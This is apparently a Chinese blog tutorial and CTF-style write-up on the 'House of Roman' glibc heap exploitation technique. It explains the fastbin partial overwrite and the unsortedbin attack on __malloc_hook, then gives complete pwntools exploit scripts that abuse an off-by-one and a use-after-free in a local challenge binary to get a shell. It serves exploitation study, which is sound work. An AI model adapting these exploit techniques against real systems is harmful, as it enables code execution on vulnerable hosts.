House of roman
这个利用方式目前在2.23到2.29之间是可以利用的,而且对于漏洞点要求不高,主要是uaf和overflow(有一个uaf即可),在可以创建任意大小的堆块的情况下,不泄露出堆地址的情况下面,通过爆破(12bit也就是4096分之一),来getshell
House of Roman 的一个核心思路就是利用局部写减少随机化的程度,从而给出爆破的可能
原理解析(poc)
说是一种house of,但是其实本质上没有涉及什么新的东西,只是一种fastbin和unsortedbin的结合利用而已,攻击大致分为三个阶段:
- 通过低位地址改写使 fastbin chunk 的 fd 指针指向 __malloc_hook.
- 通过 unsortedbin attack 把 main_arena 写到 malloc_hook 上.
- 通过低位地址修改 __malloc_hook 为 one_gadget.
我们先申请四个堆块
从上往下,依次为1,2,3,4,我们先free掉第三个堆块,这个时候,3号堆块会放进unsortedbin里面
我们再申请一个0x60大小的堆块,这个时候会从3号堆块里面切割除来,我们申请的这个堆块里面就有main_arena的地址了
然后就可以通过main_arena的地址,计算出malloc_hook的地址了
其实可以发现,他们只有末三位不同,而末三位都是固定的,所以可以得到malloc_hook的地址
我们接着再释放4和1,这个时候链表是fastbin 0x70 -> chunk1 -> chunk4
如果我们修改chunk1的fd指针,修改最后一个字节为00,这个链表就会变成chunk1 -> chunk3_1 -> chunk3_1 的 fd(chunk3_1)就是刚刚从3号堆块里面拆出来的那个0x60大小的堆块
也就是这样,chunk3_1 的 fd 是我们可以修改掉的,通过修改后几位,将其改为malloc_hook - 0x23,接下来连续 malloc 两次,把 fastbin 中的 chunk malloc回去,再次 malloc 就能拿到一个指 malloc_hook 附近的 chunk
像这样,那我们再次申请0x60堆块的时候,就可以申请到这里,但是在真正的漏洞利用中,由于 malloc_hook 的最后半字节是随机的,需要爆破
第二步:Unsorted_bin attack,使我们能够将较大的值写入任意位置。 这个较大的值为 main_arena + 0x68。 我们通过 unsorted bin attack 把 malloc_hook 写为 unsortedbin 的地址,这样只需要改低几个字节就可以把malloc_hook 改为 system 的地址了(而实际上,在2.29之后我们的Unsorted_bin attack就失效了,所以我们再2.29之后Roman也失效了)
我们申请一个0x80,一个0x30的堆块(这个是防止和top chunk合并的),准备进行unsortedbin_attack,
我们free掉这个0x90的堆块,放入unsortedbin里面,然后覆盖当前堆块的fd末字节使得 bk 为 __malloc_hook-0x10
再申请回来,完成攻击
可以看到,我们的main_arena地址写进了mallooc_hook
我们只要修改末尾几个字节,改成one_gadget或者system函数就可以getshell
例题
我们先来分析一下程序
看一下保护
主函数部分
menu和初始化就不放了,glibc版本是2.23,主函数只有三个部分,add,edit和free,没有show函数,所以这也就意味着我们没有办法泄露libc(而实际上可以利用io,感兴趣的可以看我另一篇讲stdout的文章)
add函数
可以申请任意大小的堆块,最多19个,没有什么漏洞
edit函数
先输出idx,然后根据索引修改,这里有一个很明显的off by one漏洞
delete函数
有一个uaf漏洞,然后就没有什么了
exp编写
在不考虑io利用的情况下,这一题毫无疑问是很标准的house of roman,通过fastbin attack + unsortedbin attack来减少爆破概率
我们来看看exp怎么编写
先创建四个堆块,大小分别为0x60,0x80,0x80,0x60,编号为0,1,2,3,free掉第三个堆块,也就是2号
这样二号堆块会被放进unsortedbin里面
from pwn import *
io=process('./pwn')
libc=ELF('libc-2.23.so')
def dbg():
gdb.attach(io,"b *$rebase(0xaff)")
def add(size,idx):
io.sendline("1")
io.recvuntil(b':')
io.sendline(str(size))
io.recvuntil(b':')
io.sendline(str(idx))
def free(idx):
io.recv()
io.sendline("3")
io.recvuntil(b':')
io.sendline(str(idx))
def edit(idx,data):
io.recv()
io.sendline("2")
io.recvuntil(b':')
io.sendline(str(idx))
io.recvuntil(b':')
io.send(data)#这里只能用send,不然会影响部分改
io.recv()
io.sendline(b'aaaa')
add(0x60,0)
add(0x80,1)
add(0x80,2)
add(0x60,3)
free(2)
dbg()
io.interactive()
然后我们申请一个0x60大小的堆块,这样会从2号堆块里面切割出来带有mian_arena地址的堆块
再释放3和0,使得fastbin链表里面存有数据
我们修改chunk0的fd指针,修改最后一个字节为00,这个链表就会变成chunk0 -> chunk2_1 ,也就是从二号堆块里面拆除来的那个输出fastbin的堆块
可以看到,我们成功修改了指针,再申请两次就能申请到main_arena的位置了,如果我们再修改从二号堆块里面拆出来的这个堆块(也就是4号)的末尾指针,指向malloc_hook-0x23,就能只能填入system的地址,再getshell
edit(4,p16(0x3aed))
add(0x60,5)
add(0x60,6)
直接修改指针到malloc_hook-0x23(应该有半个字节要爆破,但是我本地关了aslr,所以就直接改了)
可以看到,再申请一次就能改malloc_hook了
但是现在还有一个问题,因为没有泄露libc,所以不能直接改malloc为onegadget或者system的,也就是现在要再利用一次unsortedbin attack,把malloc_hook改掉,改成libc里面的数据,这里改的就是main_arena
申请两个堆块,一个0x80,一个0x30(防止合并),释放0x80,改bk指针为malloc-0x10
再申请回来,完成攻击
add(0x60,7)#malloc_hook-0x23
add(0x80,8)
add(0x30,9)
free(8)
edit(8,p64(0)+p8(0))
add(0x80,10)
可以看到,我们完成了修改,再之后就是爆破了,因为最后三位固定,只有前三位要改,4096分之一的概率
我这里就不爆破了,概率确实有点感人了
可以看到,我们已经把malloc_hook改成system了(偷个懒,不想找onegadget了)
那这道题就可以被我们getshell,在没有show的情况下
from pwn import *
io=process('./pwn')
libc=ELF('libc-2.23.so')
def dbg():
gdb.attach(io,"b *$rebase(0xaff)")
def add(size,idx):
io.sendline("1")
io.recvuntil(b':')
io.sendline(str(size))
io.recvuntil(b':')
io.sendline(str(idx))
def free(idx):
io.recv()
io.sendline("3")
io.recvuntil(b':')
io.sendline(str(idx))
def edit(idx,data):
io.recv()
io.sendline("2")
io.recvuntil(b':')
io.sendline(str(idx))
io.recvuntil(b':')
io.send(data)
io.recv()
io.sendline(b'aaaa')
add(0x60,0)
add(0x80,1)
add(0x80,2)
add(0x60,3)
free(2)
add(0x60,4)
free(3)
free(0)
edit(0,b'\x00')
edit(4,p16(0x3aed))
add(0x60,5)
add(0x60,6)
add(0x60,7)#malloc_hook-0x23
add(0x80,8)
add(0x30,9)
free(8)
edit(8,p64(0)+p8(0))
add(0x80,10)#unsortedbin attack
edit(7,b'a'*0x13+p16(0x5380)+p8(0x84))#改成onegadget
add(0x20,10)
dbg()
io.interactive()
文章有(1)条网友点评
gets师傅好,请问有例题附件吗?